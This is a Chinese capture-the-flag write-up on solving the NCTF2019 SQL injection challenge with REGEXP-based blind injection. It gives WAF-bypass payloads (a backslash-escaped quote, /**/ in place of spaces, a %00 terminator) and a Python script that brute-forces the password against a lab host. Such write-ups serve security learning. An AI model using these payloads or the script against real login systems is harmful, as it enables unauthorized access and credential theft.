[NCTF2019]SQLi——regexp注入

首先可以看看什么是regexp。
打开题目,很明显的sql注入,甚至连sql注入语句是字符型都贴了出来,写的那么明目张胆,显然waf过滤的很变态:

[NCTF2019]SQLi——regexp注入_第1张图片
嗯,fuzzing一下,果然基本会的都过滤了…,抱着试试的心态扫了下目录,发现robots.txt提示有hint.txt:

在这里插入图片描述
过滤那么多,不会做了…,看看wp1、wp2,wp3

  • ;%00代替注释符/00截断
  • 转义符“\”没被过滤,可以转义符转义username处的单引号,我们提交的用户名就变成了 ’ and passwd=
select * from users where username='' and passwd='' #登录框处查询语句

username=\&passwd=||(passwd/**/regexp/**/"^y");%00   #用户名输入\,密码输入“或”符号加括号、内联绕waf,及结尾截断。

sqlquery : select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/"^y";

相等于select * from users where (passwd/**/regexp/**/"^y");

搜索是否有y开头的passwd,有就返回ture,没有就false.

  • 直接盲注,注意在写python的时候传入%00不能直接传入,直接传会解码直接为空,用parse.unquote(’%00’)url解码
  • regexp注入就类似于挨个比较吧,相等的时候返回true.

例如:搜索city表中name列开始位置含有连在一起的4位数字的所有信息

SELECT * FROM city WHERE name REGEXP '^[0-9]{4}';

[NCTF2019]SQLi——regexp注入_第2张图片
输入值被url编码后记得改成%00,负载对的话会302跳转到welcome.php,

[NCTF2019]SQLi——regexp注入_第3张图片
爆破后会发现y开头的就是正确的,别的回显都是错的:

[NCTF2019]SQLi——regexp注入_第4张图片
[NCTF2019]SQLi——regexp注入_第5张图片

exp:

import string
import requests
from urllib import parse

passwd = ''
string= string.ascii_lowercase + string.digits + '_'
url = 'http://9d01c3e8-2659-4ca6-9d2e-43bec0609db7.node4.buuoj.cn:81/index.php'

for n in range(100):
    for m in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+m),parse.unquote('%00'))
        }
        res = requests.post(url,data=data)
        if 'welcome' in res.text:
            passwd += m
            print(m)
            break
    if m=='_' and 'welcome' not in res.text:
        break
print(passwd)

[NCTF2019]SQLi——regexp注入_第6张图片

你可能感兴趣的:(CTF,Python,web安全,安全)